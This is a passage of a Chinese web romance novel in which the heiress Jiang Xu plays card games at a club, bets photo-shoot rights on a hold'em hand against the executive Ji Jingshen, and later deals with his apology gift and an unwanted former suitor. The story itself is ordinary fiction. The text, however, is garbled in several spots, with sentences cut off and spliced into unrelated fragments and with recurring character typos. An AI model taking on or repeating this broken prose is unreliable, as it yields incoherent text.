每年仅500箱产量的啸鹰,入口丝滑,带着浓厚的蓝莓果的味道。价格昂贵不说,也极其难购买。俞晓染原先是打算和姜许她们不醉不归,现在倒是便宜俞明礼他们了。 方浔品了两口,笑道:“俞家妹妹果然大气,不像俞总,酒都不舍得给我喝几口。” 俞明礼瞪了他一眼:“赢我的那些钱还不够你自己去买?” 方浔失笑:“区区三千万罢了,俞总又大气又有钱,哪里会在意这些——” “哇,俞明礼你个败家子,三千万哇!”俞晓染气得不行,她这一年零花钱才三千万呢,还经常被克扣! 俞明礼:“这不是来找你帮忙了吗?要是能赢回来,这钱算你的。” “行啊,你就站旁边好好看好好学!” 嘴边再次递过来一块水果,姜许侧目看去,周知禹声音温柔:“那边还要玩上好一会,姐姐,我陪你解解闷。” 他手里拿着一副崭新的扑克牌,略显消瘦的手指在灯光下骨节格外修长。他的手法很熟练,来回两次洗牌,将六张牌摆在她的面前。 姜许挑眉:“田忌赛马?”倒是好久都没玩了。 周知禹点头,笑了笑:“我给姐姐调了几杯酒,我们不赌钱,就赌半杯酒可以吗?” 俞晓染那珍藏的啸鹰,死妮子最是喜欢喝,高价找人也得买上几瓶,可姜许却不怎么喜欢那个口感。只不过到底是俞晓染心心念念着的TOP1名酒,她虽然无感,也会给面子地喝上一点。 “好。”反正无聊也是无聊。 只是姜许今天的运气实在是太差,牌到手不是中间那一把爆点,就是最后一把三不靠。 又是一把三小场全输,姜许认命地端起面前的酒。刚刚握住,手便被周知禹给扣住:“先不喝了吧姐姐,我陪姐姐说会话。” — 季家长子季惊深回国的消息,姜祁州其实一直都有关注。 逸安最后会交到他的手里,这是圈子里的人都心知肚明的事实。他也有意结交,只是行程安排得太满。刚刚和北美那边达成一个跨国合作,他马不停蹄地半个地球来回跑。 直到今天,方浔和俞明礼安排,他才第一次见到这一位。 一米八几的身高,身材劲瘦而又修长。肤色是有些病态的偏白,却也不难看出有经常健身的底子。举手投足之间,语气矜冷淡漠。到底是自小被季老爷子放在身边教养长大,又有在英国待了十年的阅历,那股子上位者气息尽显,让人无法忽视。 也难怪才回国几个月,圈子里有关他的事情传得神乎其神。 “锐安至多还能让两个点,季总,这是我的底线。”姜祁州端着酒,在桌面上轻轻地碰了碰。 男人的心思分散了一些,视线若有若无的,往对面看去—— 姜许喝得有些微醺,她的酒量算不上太好,中规中矩的。只是游戏输得快,一下子饮了不少的酒,稍稍有些上头。 周知禹熟络地在她身后半俯身,温热的手指搭在姜许的太阳穴上,很轻地按着:“姐姐,这样会不会好一点?” 俞晓染玩牌的声音太大,夹杂着包厢里的音乐声,周知禹几乎是贴近到姜许耳边交谈。 周围的声音实在是太过嘈杂。姜许第一遍并没有听清,盈盈的黑眸抬起,侧脸贴得更近了一些:“……什么?” “季总?”姜祁州的嗓音微微抬高了两分。 季惊深稍稍收回视线,不露声色地道:“抱歉,刚才没听清。” 姜祁州抬手,将音乐声调到了一格,正欲重新提起刚才的话题,又,在俞晓染的声音停顿之时,低声” “嗯果,冲淡了一些酒劲。 她寻着声音看过去,季惊深又重新靠近了沙发里,整个人略乐的,几个男人却都穿着正装。季惊深也是如此,外套早就脱了下来,一丝分冷峻。 此刻幽幽的黑眸正没什么感情地看着她,莫名地让她有几分不自然。 稍稍拉开了和周知禹的距离,姜许问:“怎么了?” 季惊深平静地看了一眼周知禹,语谈,他们在这里,不太方便。” 姜许明了了,抬了抬手,示意三人出去。 周知禹收拾好桌面,关上门之前,往姜许的方向看了一眼。 云泥之别,不该奢求。 包厢的门被关上,季惊深的目光定格在姜许脸上,半晌才道:“委屈姜小姐了。” “没那么严重。”姜许这会酒意都差不多散了大半。 对面谈着生意,旁边忙着赚钱,也就她一个人在“享受”美色。 也不对,她明明只是玩一些游戏,什么出格的事都没做。 姜许抿了抿唇,又见季惊深已经收回了视线,全神贯注地和身侧的姜祁州聊起了公事。 整个包厢里,就只剩下她一个人在无所事事。 划开手机,江小满的消息在一分钟前发来。 天条:【到门口了,姜宝姜宝,等我!】 下一秒,包厢的门被推开。江小满哑然地看着一屋子的男人,沉默地往后退了两步,又仔细看了眼头顶的包厢号,不确定地问:“我走错了?” “没走错没走错,你来得正正好!”俞晓染一把把人给拽了过去:“你来做荷官,方总,我这朋友可是新手,出老千的手段,她可不会。” 方浔无奈失笑:“俞家妹妹,我也没觉得俞总出老千,你不要冤枉好人啊。” “少废话,最后一把,我全部□□!” 包厢里再次分外三边,□□,谈生意,还有一个无聊到玩消消乐的姜许。 死妮子。 姜许无语,说好给她找乐子的,结果来了这里比在家还无聊,还把自己的聊天搭子给拐走了。 烦闷地朝桌上的酒看去,姜许伸手的动作还在半路,一道声音落了过来—— “姜小姐刚才和那位先生玩的是什么?” 姜许收回了手,回道:“田忌赛马。” “这样。”季惊深倒是听说过一些,只不过不是他喜欢玩的种类。如竹的手指轻轻搭在了牌上:“德州有兴趣吗?” 当然有兴趣。 她再无聊下去消消乐体力都快没了。 可是输一把,零花钱也快没了。 姜许扫了一眼姜祁州,后者刚刚谈成和逸安的大合作,心情不错:“想玩就玩,我来兜底。” “不必那么紧张,我们不玩那么大。”季惊深说,黑眸深深,几秒后,他道:“我们只赌姜小姐的合作拍摄权。” “如果姜小姐赢了这局,以后和柒渔的合作,按照以往价格往上再加50%。如果姜小姐输了,往后半年,得以柒渔艺人拍摄为优先考虑。” 姜祁州握着酒杯的动作一顿,有一丝微妙的猜想涌了上来。想要更深的探究时,却只看得见季惊深那双幽深不见底的黑眸。 季家兄妹感情深厚。 这是俞明礼说的,不然季安棠也不至于闹了那么大的失误出来,也不过是被调派到柒渔。 而柒渔,近一年来,明晃晃地想要从星好手里争来姜许的拍摄合作权。 倒也,合情合理。 只是—— “麻烦姜总做一次荷官。”温浅的声音落下,面前是一副纸牌。 姜祁州颔了颔首,接过。洗了好几次牌,将两张底牌和三张底牌发好,笑问:“要加注吗?” 看到底牌的瞬间,姜许便有些绝望。幽怨的眼神落在姜祁州身上,几个呼吸之后,笑得勉强:“不加。” 加个鬼。 一个方块二一个黑桃八,比她和俞晓染玩的时候牌还要小。 姜祁州又看向季惊深,在后者摇头后,将公牌掀开。 三张牌,红心八,梅花四,红心十。 不算特别好,但是好歹和她手中的底牌凑成了个对子。 姜许的心定了定,看向季惊深,眸色微亮:“价格再加10%。” 季惊深也加了注:“八个月。” 姜许敲了敲桌面,示意这条件她接下。 姜祁州切了张牌,将第四张公牌掀开。 红心二。 她手里目前两对。 不是什么大牌,但是姜祁州刚才洗牌她也看到了,都碎成那样了。两对的牌,已经是不小了。 “allin!!” 旁边的俞晓染已经上头了,拍着俞明礼的大腿乐不可支:“前面输了那又怎么样,一把就回来了,崇拜吧凡人!” “……” 跟个小赌鬼一样。姜许无奈,又看了眼面前的牌,不信邪地继续加注:“季先生,再加20%,输了,一年。” 季惊深眉梢微顿。 他对于这种游戏其实并没有多大的兴趣,只不过俞明礼和方浔喜欢。如果拒绝多了,倒是显得他分外清高难以相处,所以偶尔也会配合着玩上两把。今日多了个姜祁州,他便得了借口没再参与。 刚才也不过是看着她太过于无聊,只能喝酒解闷,便想着寻个由头将她的注意力来引过来。却没想到,让她玩上头了。 他低眉,扫了眼手中的牌。 今晚的姜许,连输三把。再输下去,怕是会不开心。 “我弃牌。” 季惊深将底牌丢进牌堆之中:“以后姜小姐和柒渔的合作,价格往上涨60%。” 姜许怔然片刻:“季先生的牌很小?” 弃牌,不像是他的行事风格。 她的目光落在牌堆之中,心神微动,还是忍住了。 “一般。”季惊深道,在她低眉思考间,伸手拿起搁置在桌面的最后一杯,周知禹调的酒。 姜许视线移了过去,他似乎只是想尝尝,轻轻抿了一口就放下。察觉到她的视线,男人像是才注意到一般:“抱歉,忘了这是那位先生特地给姜小姐调的了。” 一杯果汁递了过来,季惊深语气平缓:“果汁代替,可以吗?” 姜许没应,只是问:“好喝吗?” 季惊深皱了皱眉,似乎是在认真回忆:“几种味道掺杂在一起,算不上很好喝。” 顿了顿,他继续道:“如果你喜欢鸡尾酒,我认识不少调酒师。至于这种……” 他沉吟两秒,语气委婉:“易醉,不适合姜小姐。” 一旁收好牌的姜祁州动作一顿,探究的目光停留在季惊深和姜许两人一瞬,又很快收回。 他离得近,自然是看到了季惊深的牌。 同花,比姜许的牌不知道大了多少,却在最后一轮,弃了牌。 刚才提出的条件也是—— 姜许喝晕了头,他还清醒得很。 姜许输了,是明晃晃地签了卖身契。而赢了,则是暗里把自己卖了。 同样的拍摄工作,柒鱼的价格更高,他那妹妹只要不是脑子没问题,就没理由拒绝柒鱼。 而他,不相信季惊深只是为了季安棠在做打算。 — 赌局散了场,包厢里又被俞明礼兄妹带动着气氛喝了起来。 几巡过后,喝到将近凌晨才散了场。 从洗手间出来,方浔已经回去了。而江小满和俞晓染已经搂在了一起,扒拉都扒拉不开。 俞明礼还稍微清醒些,见状也只能道:“今晚就让她住我们家,放心,我把她们送回别墅就回自己的大平层。” 姜许点头:“那就辛苦明礼哥了。” “没事没事。”俞明礼摆了摆手,又指着门口:“姜总给你买热饮去了,让你在门口等会,我先走了哈。” 姜许目送俞明礼离开,从会所出来下了楼梯。过了十一点,北安的夜晚也暗了下来。只有周围的路灯照映着,来往车辆飞速行驶,匆匆路过。 不远处的花圃,半蹲着一个男人。他微微低着头,轮廓分明的脸在路灯下显得分外柔和。 “季先生?” 无人回应,也不知道是不是真的喝得醉了。 姜许又上前两步:“季惊深?” 夜幕之下,姜许这才看到,季惊深的脚边还有一只约莫两三个月的狸花。 男人很小心地伸出手,轻轻地抚摸了一下狸花的脑袋。狸花“嗷呜”了两声,又立马做防备状,冲着季惊深哈着气。 “怕我?”季惊深问着面前的狸花。 回应他的是更凶的哈气,随后一个转身跳跃,消失在花圃里。 季惊深依旧蹲着,目光望着狸花消失的方向。 姜许心神微动,往前走了两步:“季惊深,你怎么还没回去?” 季惊深缓缓站起身来,晕眩了一瞬,醉意控制了大半的理智,他却还强撑着保留几分清醒。 幽幽的黑眸专注地落在姜许身上,眉眼扬起一丝很浅的弧度。 季惊深。 比“季先生”听起来舒心不少。 “瞧见了一只小猫,便想过来看看。”季惊深道,声音浅了几分。 “你很喜欢猫?” “嗯。”季惊深不知道想到了什么,垂了垂眉说:“以前养过一只。” “那后来呢?”姜许记得,季家是不允许养小宠物的。 “被老爷子送走了。”季惊深声音更凉薄了一些。 “抱歉……”提到他伤心事了。 季惊深:“它后来过得不错,” 他朝姜许走去,身形踉跄了两步。姜许急急忙忙上前扶住,很快拿出手机:“你今晚喝太多了,以防万一,还是得去医院检查检查。” 她正思索着要给季安棠打电话还是给季惊扬说一声,手腕突然被温热的大掌扣住。 他的腕骨很有劲,和他的外表有些不太相符。 “姜许,那些传言,一个字都别信。” “……什么?” 姜许觉得,她大概也是被酒精控制了。有些晕,耳根子发烫。 被男人扣着的手腕滚烫,一点点的,像是要灼烧起来一般。 “国外十年,我身子骨调理得不错。姜许,我没那么脆弱。” 感受出来了。 此刻的姜许,半点动弹不得。 挣脱了两下,她选择放弃,好声好气地和面前的季惊深商量着:“季惊深,你喝醉了。” 钳住她手臂的大掌瞬间收了力,季惊深的身影晃了两下,带着温热的呼吸擦过了姜许脸颊。 肩膀骤然一重。 男人的下颚抵在她的颈窝处,呼吸浑浊,却依旧坚持着—— “没醉。” 第17章 第17章【VIP】 姜许:“……” 不只是手腕那处,全身都烫了起来。 燥热,还闷得厉害。 另一只没被钳住的手紧紧地握着手机,呼吸都放缓了许多。 好在只是几十秒,又或者压根没有那么长,季惊深便已经再次站定。 骨节分明的手指微微握紧,在额心处按了按:“抱歉姜小姐,失礼了。” 他又恢复到了那副淡漠的模样,平静地看着姜许:“今晚喝得有些多,行为举止不受控制。改日清醒了,我会给姜小姐赔礼道歉。” 姜许哑然,沉默着没有回答。 烦闷的情绪涌了上来,一时问不知道是酒精在作祟还是其他。 扑通直跳的心被高高挑起,酥麻而紧张的感觉让她来不及整理好情绪,始作俑者已经从这一场慌乱不堪的闹剧中退了出去。 礼貌,得体到挑不出一丝毛病。 “姜许。” 身后传来姜祁州的声音。 姜许回头看去,一杯热饮递到手边,温热的触感缓解了几分烦闷的情绪。 “时问不早了,我先带她回去了。季总,路上小心。” 车子没有开得很快,生怕姜许一个晕车全弄在他身上。 “你这是什么表情?” 姜祁州酒量不错,今晚全场最清醒的人大概就是他了。 见某个从上车开始,半句话不说只顾着喝热饮的小祖宗,慢悠悠地开口:“怎么,嫌我来得不是时候?我就应该在给你买热饮的路上消失,然后给你们两个继续相处的时问?” “闭嘴。”姜许烦得很,还剩半杯的热饮直接塞到姜祁州手里,闭上眼睛:“我喝醉了,要休息。” “跟我说实话。”姜祁州语气严肃了几分:“你看上季惊深了?” 姜许更烦了:“有一点,我对他挺心动的。” 也看上了,但是喜欢…… 有一点,或者说喜欢他的性子他的样貌。至于更深层次的,他们接触太少,还没有到那个程度。 姜祁州:“你今晚也喝了酒,不清醒。人在微醺的情况下,对狗都能心动。等你明天酒醒了,再和我谈论这个话题。” 姜许:“姜祁州!!!” 姜祁州抓住她要伸过来胡乱动作的手,黑眸略沉:“我不干涉你感情上的事。但是如果对方是季惊深,我希望你能考虑清楚。” 抽回自己的手,姜许靠在座椅上,视线顺着车外面不断后退的景色,燥郁的情绪不断地在酒精的作用下,一点点放大。 她能听得明白姜祁州的意思。 如果只是细微的,刚刚燃起苗头的喜欢。那就及时掐断,不要再继续蔓延- 清晨六点。 昨晚未来得及关上窗帘的窗户,透着刺眼的光线进来。宿醉的早上头疼欲裂,季惊深惺忪地睁开眼,黑眸里还有未褪去的睡意。 缓和了几分钟后,他掀开被子起身,长腿迈进浴室里。冰凉的水覆在脸上的一瞬问,昨晚的记忆也如潮水般涌来。 他并不是个会喝断片的人,昨晚,他也并没有真正的喝醉。 在此刻,他依旧能清晰的记起,自己抵在姜许颈窝处时,她的紧张与僵硬。 LS会所处在北安的中心街巷,哪怕是凌晨,四周也不会过分安静。汽车的轰鸣声,远处传来的音乐声,交杂在一起,都抵不过近在咫尺的,属于她的,心跳声。 如果不是看到远处朝他们走来的姜祁州,他怕是,还会“醉”上一会。 察觉到某处过分有精力后,季惊深面无表情地抬腿往一楼的健身房走去。 他罕见地把跑步机的速率调到了最大,气息逐渐起伏了起来。 这些年他的身体调养得不错,可到底是早产,加上先天的体弱,终究还是会有些吃力。 等到腹下那股火缓缓地退了下去,他将速率降了一些下来。 原本沉闷的呼吸逐渐平稳,额前挂着细密的汗,顺着侧脸,往修长的脖颈滑落,最后滴进深色的运动服中。 一个小时的运动结束,季惊深看了一眼手机。 七点,不是她起床的时问。 原本想好的措辞被他暂时压了下去,他再次进了浴室。 水温开得不低,浴室内很快升起了白雾。温热的水温从头顶而落,冲刷过略显硬挺的黑发,不断地滴落在劲瘦有力的肩颈处,再顺着胸膛往下,隐没在更深处。 七点十五分的阅读新闻时问,八点的早饭。随后便是整理今天要做的所有事项,九点过,得去谢老爷子家拜访一趟。谢老爷子是逸安最初成立的几位老董事之一,这次他能顺利接管逸安,也少不了这位谢老爷子的支持。 ,头一次见到季惊深,一晃眼对上那张脸,小脸蛋红扑扑的。 “可别动歪心思。位不是你能肖想的。唉,就是不知道,今天来的那位厉家小。” “不要吧……那个厉大小姐脾气可差了。刚才我就补个口红,她骂我搔首弄姿呢。“小女生委屈地瘪了瘪嘴。 他们季董的眼光,不至于这么差吧…… 十一楼的会客厅内,厉安然和厉明然等了好一会了。眼看着耐心要耗尽,门总算是被胡泽推开。 两人抬眼看过去,胡泽身后的季惊深穿着一身深灰色的西装,裤腿垂感利落又硬挺,男人的黑眸只是淡淡地看了他们一眼,便骤然让厉明然神色一紧。 上一次和季惊深的见面,生时代。那时的他,虽说也是这幅难以靠近的模样,但还现在…… 十年过去,岁月沉淀在季惊深的身上,早就把记忆里他认为的那个不善言辞的病秧子给覆盖住。他现在面对着的是,归国三个月,便已经手握逸安大权的男人。 “季总果然是大忙人,我和安然都等了好一会了,还以为季总不来了呢。”厉明然先开了口。 他语气里的深面色无常地坐了下来,胡泽便已经把泡好的咖啡递了过来。 “路上堵车,见谅。” 九点去谢老爷子处,十点半到逸安。走的是外环路,不会有堵车的情况。可偏偏他临时改变了行程,导致今天上午的安排被迫延后。 季惊深不是个会迟到的人,只是今天情况特殊,加上面前的,是厉家。 圈子里阳奉阴违的人不少,厌弃他们季家的也不少,唯独厉家,背地里泼了不少脏水,明面上还想着和逸安和和气气地谈合作。 天底下哪有这么好的事。 “季总,这位是我的妹妹,厉明然,以前你们在学校应该见过。” 厉明然压下心中的不爽,转头介绍起了自己的妹妹。 被提到的厉安然小脸骤然红了些。她是讨厌季家,以前对季惊深也无感,只是觉得这人唇色都发白了,一副下一秒就要死的样子,晦气得很。 可是现在眼前的男人,面色矜冷,清冷独特的气质,放眼整个北安商圈,都是顶级的。 “季,季总,我是安然,以前体育课的时候,和你见过几面的。” 并不算陌生的声音。 那天去找姜许,他并没有联系方式,只是按照惊扬所说的,到了那个圈子里千金常去聚会的地方。在三点前十分钟,他正巧就在门口,将里面的对话听得一清二楚。 要死不活。 守活寡。 这种话他在以前听得多了,不去反驳,并不代表真的能当做没有发生过。 “抱歉,我对厉小姐,并没有太多的印象。” 厉安然的脸色僵了僵,自己给自己找着台阶:“也,也正常嘛,学校人太多了。” “季总,这次来,是想来和逸安商量江北的合作。”厉明然瞪了一眼自家不争气的妹妹,将意向方案递了过去:“这次我们怀明是很有诚意的,利润方面,我们最多能让到这个点。” 他比划了一个数字,季惊深扫了一眼。单论利益而言,怀明这次让的利已经是很有诚意。 没得到回应,厉明然心里犯怵得很,也不由得开始懊恼起刚才自己的脾气。怀明已经大不如从前,比起民江也好不上哪里去,攀上逸安,是当前的重中之重。 “季总,这次合作绝对是双赢,您要是还有什么其他的条件,只要不过分,我们怀明都能答应。” 说完,厉明然看向季惊深,眼里带着一丝紧张。 季惊深垂眉翻阅着意向书,也不知道看到了什么,眉梢稍冷,唇边的那抹礼貌也散得干干净净:“厉总是觉得我刚回国,还不熟悉北安的情况?” 厉明然一顿,表情有几分心虚:“季总,我不太清楚你的意思。” “那我不妨说得直白些。”修长匀称的手指落在了一项条款处,季惊深语气薄凉:“特越和锐安会在年底动工,项目选址在这,厉总,你是觉得怀明得罪的人不够多?” 厉明然脸色涨红。他是起了要抢生意的打算,这商场不就是这样吗?让那两家先起个头,他们只需要坐收渔翁之利。 他也不贪心,只求逸安手指缝里漏一点出来,就足够怀明继续撑下去了。 谁,谁知道这季惊深竟然不同意! 他也不是刚刚回国,急需做出一番成绩吗,在他面前装什么君子…… 季惊深起了身:“胡泽,送客。” 胡泽:“是。” 回到办公室内,积压了小半天的文件堆在桌面上。季惊深看了眼时问,很快进入到工作状态。 和京耀银行的合作这周得定下,海外的产业链也得尽早定下。董事会有不少眼睛盯着他,他是需要先做出一番成绩。 — 姜许睡到了快傍晚才醒。 她再一次失眠了,喝过酒之后本应该倒头就睡的她,硬是睁眼到了天明。直到看着指向六点的挂钟一点点往七的数字挪动的时候,她才就着微微的睡意进入梦乡。 这一觉睡得昏天黑地,再醒来忙活着和唐渺渺对合同,处理工作。 唐渺渺:【后面都是一些小拍摄,我们几个就能搞定,你可以再休息休息。】 姜许舒心地重新躺回床上。 不会带团队,就得干到死。 而她明显是个正面例子,出头争取权益的事她来做,其余的小事,交给他们就足够了。 点了份新江饭店的外送,姜许起床洗漱,吃了两块饼干垫肚子。 外面的天色已经暗了下来,暮色和夜色交接,从偌大的落地窗往下看,江面波光粼粼,景色甚好。 昨晚顺路,她就直接回了新住所。东西还没搬完,明后两天还得忙活。 手机又震动个不停。姜许点开群聊。 好看哥:【姜许姐,那套房子你不会卖的对吧?你要卖的话也得卖给我,你想要多少随便开。】 好看哥:【那里有咱们的好多回忆,就算不住了,也得留个念想。】 回忆是不少。 某个小少爷第一次被淋成落汤鸡后被她捡回家,身无分文只能帮她扫地洗碗还债,结果十指不沾阳春水的季惊扬差点没把她家的厨房给炸了。 她一个二十出头的女生,头一次体会了半大的小男生有多难搞,偏偏这小男生还爱哭。一用水汪汪的大眼睛看着她撒娇,她就没能狠下心。 【不会卖的,放心吧。】 她不缺那点钱,留着,对她也是个念想。 退出群聊,姜许把未读的消息都看了一遍。最后定格在今早十一点左右的时候,季惊深发来的。 季惊深:【昨晚的事冒犯姜小姐了,听闻姜小姐最近乔迁,特地买了礼物道歉,请问姜小姐什么时候有空?】 姜许烦躁地闭眼。 祈祷了一晚上季惊深断片失忆,结果非但没有,还记得清清楚楚,甚至还得特地提醒她—— 昨晚,季惊深对她做了“冒犯”的举动。 他到底是性子就这样,板正礼貌,还是故意的? 姜许敲下一行字,认真读了两遍,又全部删除。反反复复好几回,纠结到最后索性手机一丢,先把饭给吃了。 胃里填满了东西,精神也恢复了不少。冷静下来后,她斟酌许久,给季惊深发去一行字。 — 八点过半,逸*安的高层会议室里依旧灯火通明。 主位上的男人眉眼冷沉,握着钢笔的手使了几分力,青筋因此凸起,极具张力。 季惊深难得的发了火,因着研发经理的失误。一众人大气不敢喘,气氛紧张到几乎凝固。 “叮。” 微信震动的声音在会议厅里分外的突兀。 研发经理耷拉着脑袋,辞职内容都已经在脑海里过了一遍。神色紧张地看向主位之人—— 他稍稍缓和了几分脸色,垂眉看向手机。也不知道是谁发的,只是看得到他的手指在上面轻轻敲着。 “叮。” 又是一条消息进来。 这一次,季惊深只看了一眼,再次将视线落在他身上。 “有问题的产品全部追回,公关道歉声明今晚就发。后续弥补事宜做好,一周内,把影响降到最低。” 研发经理松了口气:“是,是,季总放心,这次绝对不会出错。” “今晚辛苦各位,会议先到这。”季惊深稍顿,平静无痕的声音里却带着一股震慑力:“还有,这样的事情再发生,我不介意给逸安来一次大换血。” 待主位上的人走了之后,会议室里的其他人才算是彻底地松了口气。 “今晚的季总真吓人,我的腿都在抖!” “能不吓人吗?出了这么大的事,不过还好,没把咱们都开了。走走走,加班去,有补贴呢!” 有小女生拍了拍自己的小心脏,八卦的本能燃起:“刚才谁的消息?” 季惊深向来不在开会的时候看手机,只专注于会议内容,更别说分神回消息了。 “谁知道,女朋友?” “不会吧,季总这样看着不像会谈恋爱的人。” “那看着像什么?” “为了工作宁可被吸干元气的资本家!” “……” 再次回到办公室内,季惊深拿起外套,朝着楼下走去。 电梯里,他才得以空闲回复姜许。 姜许:【昨晚?抱歉季先生,我不太记得了。既然我不记得,那就不算冒犯,也不用让季先生额外破费。】 季惊深:【礼不可失。】 姜许:【可我最近真的很忙。】 她在和自己周旋,想要把昨晚发生的事情一笔带过。 可姜许应该不清楚,他最擅长的,就是与人周旋。 只要有牵扯,便可以不断地放大。像是编织的网一样,一点点的,铺满所有。 再也无处可逃。 季惊深:【没关系,礼物已经买好,姜小姐什么时候在家,我送过去,只占用两分钟。】 那头显示正在输入,好几分钟后,季惊深都已经上车,才收到姜许的消息: 【明后天都在。】 季惊深:【地址。】 一个地址链接发了过来。 位置不错,就是离他偏远了些。 季惊深看向身侧的盒子。 今早赶往逸安的路上,恰好收到方厌的消息。 他抱怨着方老太太拉着他逛街,照片里无意拍到了一条手链。金色的链边折射出淡淡的光泽,一颗小巧的红宝石镶嵌在最中央。 很好看,戴在姜许手上,会很适合。 方厌:【?你好奇这个做什么,我定了三个月才等到的,打算送给我的小红颜。】 方厌的小红颜,今年才刚大学毕业。小姑娘白白净净的,性子也文静得很。 季惊深:【她父母都是老师,一个月充其量不过一两万。你对她没有那方面的心思,送这礼物,她又刚入社会,你打算让其他人怎么看待她?】 方厌:【你说得对,现在社会对小女生可不友好。哎,那我退了吧。】 季惊深:【不用,我出双倍价格,东西给我留着,我现在过去。】 方厌:【你到底什么情况?工作太累买来上吊也不够长啊!】 季惊深:【送人。】 方厌:【谁?】 天仙。 第18章 第18章【VIP】 倦怠的一天结束,姜许早上去了一趟星好。 下月和沈好好拍摄的细节定得差不多了,至于秦知瑶的二搭合作,唐渺渺在综合考虑之下,也答应下来,只等着后续剧方那边男主定下。 “网传那么多个,这到底要定谁?”何月扒拉着微博上那些捕风捉影的消息,一个个念出名字:“周照,沈时,还有黎江青……” 何月顿住,默默地扣住手机望向姜许:“姜许姐,你搬家的事情怎么样了?” “这两天还得继续忙活,东西太多了。”姜许低头,找来帮忙的两个人都已经准备就位,她快速地签下合同,又往工作群里发了几个大红包:“最近的工作就辛苦你们先做着,也不用太累,别加班,我可不给加班补贴。” “知道啦姜许姐,乔迁快乐哦!”- 搬家比姜许想象的更为繁琐。 姜祁州提前让人收拾过了一轮,本意是打算让姜许轻松一些。可问题就出在了这—— 首饰衣服包包各种,全部都不是按照姜许原本摆放的顺序。 她平时虽然不怎么收拾,可是也大概知道会在哪。现在倒好,整齐到平时需要用的东西全部不见,几百年没碰过的东西就在眼前。 “所以你管这叫几百年都不想碰的东西?” 俞晓染是来凑热闹的,结果水都没喝,就被某个死女人当成了苦力活。这样也就算了,她竟然随手把红房子丢到她面前说这玩意占地方! 靠! 当初她可是等了一年都没等到货,最后还是从圈子里的一个塑料姐妹那里搞来的二手。 江小满默默搭话:“那里还有几个房子呢,姜宝嫌弃太丑,一直没背过。” 俞晓染瞪眼看过去,眼睛都直了。一排排的房子,各种颜色都有。 这哪里丑了!好看得要死好不好! “这不得两千万?!” 江小满家境和她们是天壤之别,但是这些年待在公司,和各行各业的人相处,对于奢侈品也有不少的了解。掰着手指头算了算,她点头:“算上配货各种,一套四合院应该是有的。” 俞晓染羡慕得心都在疼:“又是姜祁州送的?” 江小满扫她一眼:“姜宝什么时候自己买过这种。” 满屋子的首饰衣服,还有那辆改装版的粉色帕拉梅拉,以及现在这套三百多平的江边大平层,都是姜祁州送的。 俞晓染气得捶墙:“姜许你告诉我,姜祁州是不是杀人放火被你看到了?我亲哥都不会对我这么好!” 她们算是豪门圈子,可是这豪门也分三六九等。民江最开始就是民族企业起家的,二十来年前都还没搬来北安,后来辉煌了一阵,在姜许父母走后,也大不如从前,现下充其量也只能算得上是个百人的小公司。而锐安和特越属于中上水准,但是比起顶级豪门,季家那样的,还是差了不止一星半点。 就按零花钱来说,她一个月三百万。她俞明礼分工不同,俞明礼勤勤恳恳接任公司,她就充当吉祥物,和姜许差不多。公司有什么活动,品牌方的合作,也会受邀出席。加上偶尔心血来潮投资一些小项目,撑死也就六七百万一个月。 这一个红房子她都得肉疼许久,结果姜许倒好,集齐了一整套。 锐安近几年发展不错是一方面,更重要的是,姜祁州对姜许的纵容和偏爱,实在是超乎她认知的兄妹感情。 这哪里是当堂妹养着,简直就是当成祖宗供着! “姜祁州可是良好公民,也就是欠了我一百多亿吧。” 姜许总算是翻找出了后天活动要穿戴的品牌首饰,塞进了粉色的首饰盒后,回头看见俞晓染一脸震惊地看着她:“多少?一百多亿?姜祁州欠你的?你什么时候这么有钱了?” “想知道?”姜许故意逗她,在看到俞晓染眼巴巴地凑上来之后,抬了抬下颚笑道:“我和你什么关系,为什么要告诉你。” 俞晓染:“我讨厌你!!” 说是这么说,俞晓染还是在一个白房子的收买下,任劳任怨地帮忙收拾了一整天。到最后,虚弱地瘫在沙发上,一根手指头都不想动。 “不是我说,你真的不考虑请个佣人吗?” “我不喜欢家里有外人。” “毛病真多!”俞晓染哼她一眼。 江小满整理好一面墙的鞋子,又列出了一个小册子,上牌奢侈两人倒了一杯温水后,又拿起姜许遗落在卧室里的手机。 视线备注后,表情有些微妙:“姜宝,有电话。” 姜许接过手机,又看了一眼不远处的俞晓染,穿上外套:“我下楼一趟,很快回来。” 门关上,俞晓不是,这女人还有东西啊?我靠,她别做什么摄影了,开个奢侈店算了!” 默默知道真相的江小满不吭声。 翻了个身,俞晓染不知道怎么脑子又抽了:“江小满,你说我哥和姜许怎么样?” 江小满:“……她的情感大事,你就别操心了。” 俞这是为了她着想,那北安,圈子里长得不错的也就他们几个了,花花公子耶,还不如我哥呢。” 江小满:“……” 这不,还有一个长得更不错的吗? 外套匆忙的披上,姜许走到电梯前才接起那通微信电话。 “抱歉,刚才没看手机。” 一整天都在忙,她都要把季惊深这件事给抛之脑后了。 “没关系,我也刚从公司出来,大概还要十分钟。”季惊深语气温浅:“姜许,一会见。” “……好。” 外面的夜色已经暗了下来,坐落在北安市区重心又靠着江边的地带,连路灯都设计成了半开的垂落设计,亮如白昼。细微的流水声传来,小斜坡的水池上映着岸边暖色的灯光。 景色极好。唯独,多了个讨厌的人。 那辆惹眼的迈凯伦就停在跟前,霸道地占据了不算宽敞的道路。陈越然今天穿得格外的亮眼,一身白色西装往那一站,还真有几分人模人样。手里捧着的依旧是她不喜欢的玫瑰花,喷了死亡芭比粉的颜色,难看得要死。 他的眼睛直勾勾地落在姜许的身上,一瞬不瞬。 身形比之前消瘦了一些,眼里有着些许的红血丝。 听姜祁州提起过,陈老爷子这次是铁了心要历练陈越然,没给特权,直接把人丢到分公司下面去打杂。有了陈老爷子的首肯,公司里免不了有不少看不惯陈越然这种性子的人,绊子自然也使得不少。 也难怪,这才多久,就被折磨成这样。 姜许并不关心他的生死,无视陈越然,往门口的方向走去。 还没走两步,陈越然大步地上前拦住她:“姜许,你和那个男的是不是分手了?” “不关你事。”姜许横他一眼:“麻烦让让。” “姜许,我就问你一个问题。你那么讨厌我,是不是因为当年那件事?” 时隔现在,他承认自己当年是有些过分。 可他和姜许才是青梅竹马,这么多年的感情,他为姜许付出的,远比那个班长多得多。所以凭什么,他就出国了半个月,别人就能趁虚而入。 那时他的年纪并不大,陈家老来得子,宠得无法无天。跑遍整个米兰才给她买到的礼物还没送出去,就被她一句—— “陈越然,你以后别烦我了,我有男朋友。” 他是听说过这个班长的,弹得一手好钢琴,姜许很喜欢。所以,他亲自毁了那个男人的手,将他的自尊全部踩在脚下。 可事实证明,这件事没能让他挽回姜许,反倒是把他们推向八年不见的深渊。 “如果我和你道歉呢?”陈越然问。 